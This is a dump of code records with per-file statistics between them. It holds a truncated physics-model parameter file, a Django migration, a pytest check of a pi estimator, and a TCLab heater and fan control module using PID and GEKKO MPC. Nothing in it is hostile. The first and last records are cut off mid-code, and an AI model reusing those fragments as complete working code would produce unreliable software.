MZ**2*vep*complex(0,4)))))/MZ**4))/(3456.*cw**4*MZ**2*cmath.pi**2*sw**2)))/2.)'+'+'+dMB_CWCoup_UV_EW.value[0]},
texname = '\delta CW')
# ================================================ #
# QED UV parameters #
# Following UV parameters should be added if MB!=0 #
# ================================================ #
# ============== #
# Mixed QCD-QED #
# ============== #
UV_yuk_c = CTParameter(name = 'UV_yuk_c',
type = 'real',
value = {-1:'-(1.0/2.0)*((G**2)/(16.0*cmath.pi**2))*3.0*CF*2.0',
0:'cond(MC,0.0,-(1.0/2.0)*((G**2)/(16.0*cmath.pi**2))*CF*(-3.0*reglog(MC**2/MU_R**2)+4.0)*2.0)'
},
texname = '\delta y_c')
UV_yuk_b = CTParameter(name = 'UV_yuk_b',
type = 'real',
value = {-1:'-(1.0/2.0)*((G**2)/(16.0*cmath.pi**2))*3.0*CF*2.0',
0:'cond(MB,0.0,-(1.0/2.0)*((G**2)/(16.0*cmath.pi**2))*CF*(-3.0*reglog(MB**2/MU_R**2)+4.0)*2.0)'
},
texname = '\delta y_b')
UV_yuk_t = CTParameter(name = 'UV_yuk_t',
type = 'real',
value = {-1:'-(1.0/2.0)*((G**2)/(16.0*cmath.pi**2))*3.0*CF*2.0',
0:'cond(MT,0.0,-(1.0/2.0)*((G**2)/(16.0*cmath.pi**2))*CF*(-3.0*reglog(MT**2/MU_R**2)+4.0)*2.0)'
},
texname = '\delta y_t')
| 279.126456 | 11,634 | 0.472737 | 38,859 | 167,755 | 2.02105 | 0.00754 | 0.080409 | 0.05628 | 0.093206 | 0.966792 | 0.936348 | 0.916 | 0.89466 | 0.86857 | 0.849954 | 0 | 0.152248 | 0.145903 | 167,755 | 600 | 11,635 | 279.591667 | 0.395885 | 0.009413 | 0 | 0.293827 | 0 | 0.350617 | 0.895494 | 0.440556 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.004938 | 0 | 0.004938 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
49306a39f24b6fa2870da807ba5752c3834f6a70 | 1,510 | py | Python | marketing/migrations/0013_auto_20210520_1340.py | Dogechi/Me2U | 0852600983dc1058ee347f4065ee801e16c1249e | [
"MIT"
] | null | null | null | marketing/migrations/0013_auto_20210520_1340.py | Dogechi/Me2U | 0852600983dc1058ee347f4065ee801e16c1249e | [
"MIT"
] | 9 | 2020-06-06T01:16:25.000Z | 2021-06-04T23:20:37.000Z | marketing/migrations/0013_auto_20210520_1340.py | Me2U-Afrika/Me2U | aee054afedff1e6c87f87494eaddf044e217aa95 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.1 on 2021-05-20 11:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('marketing', '0012_auto_20210411_2202'),
]
operations = [
migrations.AlterField(
model_name='banner',
name='created',
field=models.DateTimeField(editable=False, null=True, verbose_name='creation date and time'),
),
migrations.AlterField(
model_name='marketingemails',
name='created',
field=models.DateTimeField(editable=False, null=True, verbose_name='creation date and time'),
),
migrations.AlterField(
model_name='marketingmessage',
name='created',
field=models.DateTimeField(editable=False, null=True, verbose_name='creation date and time'),
),
migrations.AlterField(
model_name='slider',
name='created',
field=models.DateTimeField(editable=False, null=True, verbose_name='creation date and time'),
),
migrations.AlterField(
model_name='trend',
name='created',
field=models.DateTimeField(editable=False, null=True, verbose_name='creation date and time'),
),
migrations.AlterField(
model_name='trendinfo',
name='created',
field=models.DateTimeField(editable=False, null=True, verbose_name='creation date and time'),
),
]
| 34.318182 | 105 | 0.605298 | 149 | 1,510 | 6.033557 | 0.308725 | 0.133482 | 0.166852 | 0.193548 | 0.735261 | 0.735261 | 0.735261 | 0.735261 | 0.735261 | 0.735261 | 0 | 0.028598 | 0.282119 | 1,510 | 43 | 106 | 35.116279 | 0.800738 | 0.029801 | 0 | 0.648649 | 1 | 0 | 0.179768 | 0.015721 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
494c9c8d294c45fe2d983fb16b0428ba1f25ec75 | 139 | py | Python | test_pi_pytest.py | frenchu/python-first-steps | 7d552d8a5d4a2b242efac1457a0ebbf19752a187 | [
"MIT"
] | null | null | null | test_pi_pytest.py | frenchu/python-first-steps | 7d552d8a5d4a2b242efac1457a0ebbf19752a187 | [
"MIT"
] | null | null | null | test_pi_pytest.py | frenchu/python-first-steps | 7d552d8a5d4a2b242efac1457a0ebbf19752a187 | [
"MIT"
] | null | null | null | import math
from pimontecarlo import calculate_pi
def test_calculate_pi():
assert math.fabs(calculate_pi(100_000) - math.pi) < 0.01
| 17.375 | 60 | 0.76259 | 22 | 139 | 4.590909 | 0.636364 | 0.326733 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076271 | 0.151079 | 139 | 7 | 61 | 19.857143 | 0.779661 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
497c386ce7fee0377084083ae4678b8e77e5469e | 56,335 | py | Python | code/tclab_testers/tclab_modules.py | titusquah/hal9000 | 620c1c5ce76db481e6da5e8cfba8d728afe0cb39 | [
"Apache-2.0"
] | null | null | null | code/tclab_testers/tclab_modules.py | titusquah/hal9000 | 620c1c5ce76db481e6da5e8cfba8d728afe0cb39 | [
"Apache-2.0"
] | null | null | null | code/tclab_testers/tclab_modules.py | titusquah/hal9000 | 620c1c5ce76db481e6da5e8cfba8d728afe0cb39 | [
"Apache-2.0"
] | 1 | 2021-02-02T21:52:58.000Z | 2021-02-02T21:52:58.000Z | import numpy as np
import time
from tclab import TCLab
import pyfirmata
import pandas as pd
from gekko import GEKKO
# # Connect to Arduino
# heater_board = TCLab(port='4')
# fan_board = pyfirmata.Arduino("com5")
#
# it = pyfirmata.util.Iterator(fan_board)
# it.start()
#
# pntxt2 = "d:{}:o".format(3)
# dpin1 = fan_board.get_pin(pntxt2)
# dpin1.mode = 3
def get_d_traj(case, hold_time=5):
folder_path_txt = "../hidden/box_folder_path.txt"
with open(folder_path_txt) as f:
content = f.readlines()
content = [x.strip() for x in content]
box_folder_path = content[0]
file_path = "/data/dist_cases(1).csv"
df = pd.read_csv(box_folder_path + file_path)
d_traj = df['case{}'.format(case + 1)].values / 16 * 80 + 20
d_traj = np.repeat(d_traj, hold_time)
return d_traj
def get_forecast(case, hold_time=5):
folder_path_txt = "../hidden/box_folder_path.txt"
with open(folder_path_txt) as f:
content = f.readlines()
content = [x.strip() for x in content]
box_folder_path = content[0]
file_path = "/data/forecast_cases(1).csv"
df = pd.read_csv(box_folder_path + file_path)
d_traj = df['case{}'.format(case + 1)].values / 16 * 80 + 20
d_traj = np.repeat(d_traj, hold_time)
return d_traj
def fan_cooling(mini_dpin1,
mini_heater_board,
temp_sp=None,
hold_time=20,
tol=0.3):
print("Starting cooling procedure")
mini_heater_board.Q1(0)
mini_heater_board.Q2(0)
current_temp = mini_heater_board.T1
mini_dpin1.write(1)
start_time = time.time()
prev_time = start_time
sleep_max = 1
times, temps, heater_pwms, fan_pwms = [], [], [], []
if temp_sp:
while current_temp > temp_sp - 1:
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
t = time.time()
prev_time = t
times.append(t - start_time)
current_temp = mini_heater_board.T1
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
if len(temps) % 10 == 0:
print("Current T = {0} °C".format(current_temp))
else:
stable = False
steps_per_second = int(1 / sleep_max)
back_index = int(steps_per_second * hold_time)
while not stable:
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
t = time.time()
prev_time = t
times.append(t - start_time)
current_temp = mini_heater_board.T1
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
if len(times) > back_index:
check_array = np.array(temps[-back_index:])
max_diff = np.abs(np.max(check_array) - np.min(check_array))
stable = max_diff < tol
if len(temps) % 10 == 0:
print("Current T = {0} °C".format(current_temp))
mini_dpin1.write(0)
print("Ending cooling procedure")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms
def set_initial_temp(mini_dpin1,
mini_heater_board,
temp_sp,
tol,
hold_time,
file_path=None):
print("Setting initial temperature to {0} °C".format(temp_sp))
stable = False
mini_dpin1.write(0)
start_time = time.time()
prev_time = start_time
sleep_max = 1
error = 0
mv = 0
dt = sleep_max
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
current_temp = 0
ind = 0
while not stable:
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
current_temp = mini_heater_board.T1
temps.append(current_temp)
old_error = error
error = temp_sp - current_temp
kc = 20 # 9.15*2
ti = 70 # 312*0.25
dmv = kc * (error - old_error + dt / ti * error)
mv += dmv
mv = np.clip(mv, 0, 100)
mini_heater_board.Q1(mv)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
temp_array = np.array(temps)
errors = np.abs(temp_array - temp_sp)
back_index = int(steps_per_second * hold_time)
check_array = errors[-back_index:]
stable = np.all(check_array < tol)
if ind % 5 == 0 and file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'heater_pwm': heater_pwms})
df.to_csv(file_path)
ind += 1
if len(temps) % 10 == 0:
print("Current T = {0} °C".format(current_temp))
mini_heater_board.Q1(0)
print("Ending set temp procedure")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms
def nominal_mpc_test(mini_dpin1,
mini_heater_board,
temp_lb,
d_traj,
amb_temp,
init_temp,
file_path=None,
dt=1,
look_back=31,
look_forward=51,
c1=0.00088341,
c2=0.801088,
c3=0.00388592,
c4=0.09,
):
max_change = 0.8
min_change = 0.02
decay_rate = 0.25
penalty_scale = 1e5
steepness = 10
fv_update_rate = 5 # s
init_cs = [c1, c2, c3, c4]
rel_max_change = 0.1
mpc = GEKKO(name='tclab-mpc', remote=False, server='http://127.0.0.1')
mhe = GEKKO(name='tclab-mhe', remote=False, server='http://127.0.0.1')
mpc.time = np.linspace(0, (look_forward - 1) * dt, look_forward)
mhe.time = np.linspace(0, (look_back - 1) * dt, look_back)
apm_models = [mhe, mpc]
for ind, apm_model in enumerate(apm_models):
apm_model.c1 = apm_model.FV(value=c1)
apm_model.c2 = apm_model.FV(value=c2)
apm_model.c3 = apm_model.FV(value=c3)
apm_model.c4 = apm_model.FV(value=c4)
cs = [apm_model.c1, apm_model.c2, apm_model.c3, apm_model.c4]
apm_model.heater_pwm = apm_model.MV(value=0)
apm_model.temp_heater = apm_model.SV(value=init_temp)
if ind == 0:
apm_model.fan_pwm = apm_model.MV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for ind1, c in enumerate(cs):
c.STATUS = 0
c.FSTATUS = 0
c.LOWER = 1e-4
c.UPPER = 2
c.DMAX = max_change
apm_model.heater_pwm.STATUS = 0
apm_model.heater_pwm.FSTATUS = 1
apm_model.temp_sensor = apm_model.CV(value=init_temp, name='tc1')
apm_model.temp_sensor.STATUS = 1
apm_model.temp_sensor.FSTATUS = 1.
apm_model.temp_sensor.MEAS_GAP = 0.1
else:
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for c in cs:
c.STATUS = 0
c.FSTATUS = 1
p = np.zeros(len(apm_model.time))
p[-1] = 1.0
apm_model.final = apm_model.Param(value=p)
apm_model.heater_pwm.STATUS = 1
apm_model.heater_pwm.FSTATUS = 0.
apm_model.heater_pwm.DMAX = 20
apm_model.heater_pwm.DCOST = 0.5
apm_model.heater_pwm.LOWER = 0
apm_model.heater_pwm.UPPER = 100
apm_model.temp_sensor = apm_model.SV(value=init_temp, name='tc1')
apm_model.temp_sensor.FSTATUS = 1.
apm_model.h = apm_model.Intermediate(apm_model.c1
* apm_model.fan_pwm
** (apm_model.c2 - 1))
apm_model.Equation(apm_model.temp_heater.dt()
== -apm_model.h * apm_model.temp_heater
+ apm_model.c3 * apm_model.heater_pwm
+ apm_model.c2 * apm_model.h * (
amb_temp - apm_model.temp_heater)
* apm_model.fan_pwm)
apm_model.Equation(
(apm_model.temp_sensor.dt() == apm_model.c4
* apm_model.temp_heater - apm_model.c4 * apm_model.temp_sensor))
if ind == 0:
apm_model.options.IMODE = 5
apm_model.EV_TYPE = 1
else:
apm_model.Obj(
apm_model.integral(
apm_model.heater_pwm + penalty_scale * apm_model.log(
1 + apm_model.exp(steepness
* (temp_lb
- apm_model.temp_sensor)))
/ steepness) * apm_model.final)
apm_model.options.IMODE = 6
apm_model.options.NODES = 2
apm_model.options.SOLVER = 3
apm_model.options.COLDSTART = 1
apm_model.options.AUTO_COLD = 1
print("Starting nominal MPC with T_lb = {0} °C".format(temp_lb))
mini_dpin1.write(0)
mini_heater_board.Q1(0)
start_time = time.time()
prev_time = start_time
sleep_max = dt
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
est_temps = []
c1s, c2s, c3s, c4s = [], [], [], []
current_temp = 0
update_counter = 0
ind = 0
mhe.temp_sensor.MEAS = mini_heater_board.T1
mpc.temp_sensor.MEAS = mini_heater_board.T1
for ind1, dist in enumerate(d_traj):
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
mini_dpin1.write(dist / 100)
current_temp = mini_heater_board.T1
current_dist = mini_dpin1.value
mhe_cs = [mhe.c1, mhe.c3]
if (ind1 % fv_update_rate == 0
and ind1 > look_back):
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 1
# mhe_c.STATUS = 0
update_counter += 1
mhe_c.DMAX = max_change * np.exp(
-decay_rate * update_counter) + min_change
else:
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 0
mhe.heater_pwm.MEAS = mini_heater_board.U1
mhe.fan_pwm.MEAS = current_dist * 100
mhe.temp_sensor.MEAS = current_temp
try:
mhe.solve(disp=False)
oops = False
except Exception:
oops = True
pass
est_temps.append(mhe.temp_sensor.MODEL)
if oops:
if ind1 != 0:
c1s.append(c1s[-1])
c2s.append(c2s[-1])
c3s.append(c3s[-1])
c4s.append(c4s[-1])
else:
c1s.append(init_cs[0])
c2s.append(init_cs[1])
c3s.append(init_cs[2])
c4s.append(init_cs[3])
else:
c1s.append(mhe.c1.NEWVAL)
c2s.append(mhe.c2.NEWVAL)
c3s.append(mhe.c3.NEWVAL)
c4s.append(mhe.c4.NEWVAL)
mpc.temp_sensor.MEAS = current_temp
mpc.fan_pwm.MEAS = current_dist * 100
mpc.c1.MEAS = c1s[-1]
mpc.c2.MEAS = c2s[-1]
mpc.c3.MEAS = c3s[-1]
mpc.c4.MEAS = c4s[-1]
try:
mpc.solve(disp=False)
if mpc.options.APPSTATUS == 1:
# Retrieve new values
action = mpc.heater_pwm.NEWVAL / 100
# print(heater_pwm.VALUE)
else:
action = 1
except Exception as e:
action = 1
mini_heater_board.Q1(action * 100)
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
fan_pwms.append(current_dist)
if file_path:
if ind1 % 10 == 0:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s})
df.to_csv(file_path)
elif ind1 == len(d_traj) - 1:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s})
df.to_csv(file_path)
mini_dpin1.write(0)
mini_heater_board.Q1(0)
print("Ending Nominal MPC test")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms, c1s, c2s, c3s, c4s
def perfect_mpc_test(mini_dpin1,
mini_heater_board,
temp_lb,
d_traj,
amb_temp,
init_temp,
file_path=None,
dt=1,
look_back=31,
look_forward=51,
c1=0.00088341,
c2=0.801088,
c3=0.00388592,
c4=0.09,
):
max_change = 0.8
min_change = 0.02
decay_rate = 0.25
fv_update_rate = 5 # s
rel_max_change = 0.1
penalty_scale = 1e5
steepness = 10
init_cs = [c1, c2, c3, c4]
d_traj_extend = np.concatenate([d_traj, d_traj])
mpc = GEKKO(name='tclab-mpc', remote=False, server='http://127.0.0.1')
mhe = GEKKO(name='tclab-mhe', remote=False, server='http://127.0.0.1')
mpc.time = np.linspace(0, (look_forward - 1) * dt, look_forward)
mhe.time = np.linspace(0, (look_back - 1) * dt, look_back)
apm_models = [mhe, mpc]
for ind, apm_model in enumerate(apm_models):
apm_model.c1 = apm_model.FV(value=c1)
apm_model.c2 = apm_model.FV(value=c2)
apm_model.c3 = apm_model.FV(value=c3)
apm_model.c4 = apm_model.FV(value=c4)
cs = [apm_model.c1, apm_model.c2, apm_model.c3, apm_model.c4]
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
apm_model.heater_pwm = apm_model.MV(value=0)
apm_model.temp_heater = apm_model.SV(value=init_temp)
if ind == 0:
apm_model.fan_pwm = apm_model.MV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for ind1, c in enumerate(cs):
c.STATUS = 0
c.FSTATUS = 0
c.LOWER = 0
c.DMAX = rel_max_change * init_cs[ind1]
apm_model.heater_pwm.STATUS = 0
apm_model.heater_pwm.FSTATUS = 1
apm_model.temp_sensor = apm_model.CV(value=init_temp,
name='mhe_tc1')
apm_model.temp_sensor.STATUS = 1
apm_model.temp_sensor.FSTATUS = 1.
apm_model.temp_sensor.MEAS_GAP = 0.1
else:
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for c in cs:
c.STATUS = 0
c.FSTATUS = 1
p = np.zeros(len(apm_model.time))
p[-1] = 1.0
apm_model.final = apm_model.Param(value=p)
apm_model.heater_pwm.STATUS = 1
apm_model.heater_pwm.FSTATUS = 0.
apm_model.heater_pwm.DMAX = 20
apm_model.heater_pwm.DCOST = 0.5
apm_model.heater_pwm.LOWER = 0
apm_model.heater_pwm.UPPER = 100
apm_model.temp_sensor = apm_model.SV(value=init_temp,
name='mpc_tc1')
apm_model.temp_sensor.FSTATUS = 1.
apm_model.h = apm_model.Intermediate(apm_model.c1
* apm_model.fan_pwm
** (apm_model.c2 - 1))
apm_model.Equation(apm_model.temp_heater.dt()
== -apm_model.h * apm_model.temp_heater
+ apm_model.c3 * apm_model.heater_pwm
+ apm_model.c2 * apm_model.h * (
amb_temp - apm_model.temp_heater)
* apm_model.fan_pwm)
apm_model.Equation(
(apm_model.temp_sensor.dt() == apm_model.c4
* apm_model.temp_heater - apm_model.c4 * apm_model.temp_sensor))
if ind == 0:
apm_model.options.IMODE = 5
apm_model.EV_TYPE = 1
else:
apm_model.Obj(
apm_model.integral(
apm_model.heater_pwm + penalty_scale * apm_model.log(
1 + apm_model.exp(steepness
* (temp_lb
- apm_model.temp_sensor)))
/ steepness) * apm_model.final)
apm_model.options.IMODE = 6
apm_model.options.NODES = 2
apm_model.options.SOLVER = 3
apm_model.options.COLDSTART = 1
apm_model.options.AUTO_COLD = 1
print("Starting Perfect MPC with T_lb = {0} °C".format(temp_lb))
mini_dpin1.write(0)
mini_heater_board.Q1(0)
start_time = time.time()
prev_time = start_time
sleep_max = dt
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
est_temps = []
c1s, c2s, c3s, c4s = [], [], [], []
current_temp = 0
update_counter = 0
ind = 0
mhe.temp_sensor.VALUE = mini_heater_board.T1
mpc.temp_sensor.VALUE = mini_heater_board.T1
for ind1, dist in enumerate(d_traj):
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
mini_dpin1.write(dist / 100)
current_temp = mini_heater_board.T1
current_dist = mini_dpin1.value
mhe_cs = [mhe.c1, mhe.c3]
if (ind1 % fv_update_rate == 0
and ind1 > look_back):
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 1
# mhe_c.STATUS = 0
update_counter += 1
mhe_c.DMAX = max_change * np.exp(
-decay_rate * update_counter) + min_change
else:
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 0
mhe.heater_pwm.MEAS = mini_heater_board.U1
mhe.fan_pwm.MEAS = current_dist * 100
mhe.temp_sensor.MEAS = current_temp
try:
mhe.solve(disp=False)
oops = False
except Exception:
oops = True
pass
est_temps.append(mhe.temp_sensor.MODEL)
if oops:
if ind1 != 0:
c1s.append(c1s[-1])
c2s.append(c2s[-1])
c3s.append(c3s[-1])
c4s.append(c4s[-1])
else:
c1s.append(init_cs[0])
c2s.append(init_cs[1])
c3s.append(init_cs[2])
c4s.append(init_cs[3])
else:
c1s.append(mhe.c1.NEWVAL)
c2s.append(mhe.c2.NEWVAL)
c3s.append(mhe.c3.NEWVAL)
c4s.append(mhe.c4.NEWVAL)
mpc.temp_sensor.MEAS = current_temp
mpc.fan_pwm.VALUE = d_traj_extend[ind1:ind1 + look_forward]
mpc.c1.MEAS = c1s[-1]
mpc.c2.MEAS = c2s[-1]
mpc.c3.MEAS = c3s[-1]
mpc.c4.MEAS = c4s[-1]
try:
mpc.solve(disp=False)
if mpc.options.APPSTATUS == 1:
# Retrieve new values
action = mpc.heater_pwm.NEWVAL / 100
# print(heater_pwm.VALUE)
else:
action = 1
except Exception as e:
action = 1
mini_heater_board.Q1(action * 100)
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
fan_pwms.append(current_dist)
if file_path:
if ind1 % 10 == 0:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s})
df.to_csv(file_path)
elif ind1 == len(d_traj) - 1:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s})
df.to_csv(file_path)
mini_dpin1.write(0)
mini_heater_board.Q1(0)
print("Ending Perfect MPC test")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms, c1s, c2s, c3s, c4s
def step_tester(mini_dpin1,
mini_heater_board,
amb_temp,
tol,
hold_time,
fan_pwms_order=None,
heater_pwms_order=None,
file_path=None):
if fan_pwms_order is None:
fan_pwms_order = [0.2, 0.2, 0.2]
if heater_pwms_order is None:
heater_pwms_order = [0, 100, 0]
start_time = time.time()
prev_time = start_time
sleep_max = 1
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
current_temp = 0
for ind1 in range(len(fan_pwms_order)):
ind = 0
stable = False
mini_dpin1.write(fan_pwms_order[ind1])
mini_heater_board.Q1(heater_pwms_order[ind1])
while not stable:
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
current_temp = mini_heater_board.T1
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
temp_array = np.array(temps)
if len(temp_array) > hold_time + 5 and ind > hold_time * 2:
diffs = np.abs(temp_array[1:] - temp_array[:-1])
back_index = int(steps_per_second * hold_time)
check_array = temp_array[-back_index:]
max_diff = np.max(check_array) - np.min(check_array)
stable = max_diff < tol
if ind % 5 == 0 and file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'amb_temp': amb_temp * np.ones(len(times)),
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms})
df.to_csv(file_path)
ind += 1
if len(temps) % 10 == 0:
print("Current T = {0} °C".format(current_temp))
df = pd.DataFrame({'time': times,
'temp': temps,
'amb_temp': amb_temp * np.ones(len(times)),
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms})
df.to_csv(file_path)
mini_dpin1.write(0)
mini_heater_board.Q1(0)
print("Ending set temp procedure")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms
def pid_tuning(mini_dpin1,
mini_heater_board,
temp_sp,
amb_temp,
dist,
tol,
dt,
hold_time,
kc=20,
ti=70,
file_path=None):
print("Setting temperature to {0} °C".format(temp_sp))
stable = False
start_time = time.time()
prev_time = start_time
sleep_max = dt
error = 0
mv = 0
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
current_temp = 0
ind = 0
mini_dpin1.write(dist)
while not stable:
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
current_temp = mini_heater_board.T1
temps.append(current_temp)
old_error = error
error = temp_sp - current_temp
dmv = kc * (error - old_error + dt / ti * error)
mv += dmv
mv = np.clip(mv, 0, 100)
mini_heater_board.Q1(mv)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
temp_array = np.array(temps)
errors = np.abs(temp_array - temp_sp)
back_index = int(steps_per_second * hold_time)
check_array = errors[-back_index:]
stable = np.all(check_array < tol)
if ind % 5 == 0 and file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_sp * np.ones(len(times)),
'amb_temp': amb_temp * np.ones(len(times)),
'fan_pwm': fan_pwms,
'heater_pwm': heater_pwms})
df.to_csv(file_path)
ind += 1
if len(temps) % 10 == 0:
print("Current T = {0} °C".format(current_temp))
mini_heater_board.Q1(0)
mini_dpin1.write(0)
print("Ending set temp procedure")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms
def pid_test(mini_dpin1,
mini_heater_board,
temp_lb,
amb_temp,
dist_df,
dt,
kc=20,
ti=70,
file_path=None):
print("Starting PID test")
temp_sp = 1.05 * temp_lb
start_time = time.time()
prev_time = start_time
sleep_max = dt
error = 0
mv = 0
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
current_temp = 0
ind = 0
d_time = dist_df.time.values
d_traj = dist_df.fan_pwm.values
t = time.time()
time_elapsed = t - start_time
while time_elapsed < np.max(d_time):
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
time_elapsed = t - start_time
times.append(time_elapsed)
filtered_df = dist_df[(dist_df['time'] < time_elapsed)]
if len(filtered_df) == 0:
current_dist = 0
else:
current_dist = dist_df[(dist_df['time'] < time_elapsed)][
'fan_pwm'].values[-1]
mini_dpin1.write(current_dist)
current_temp = mini_heater_board.T1
temps.append(current_temp)
old_error = error
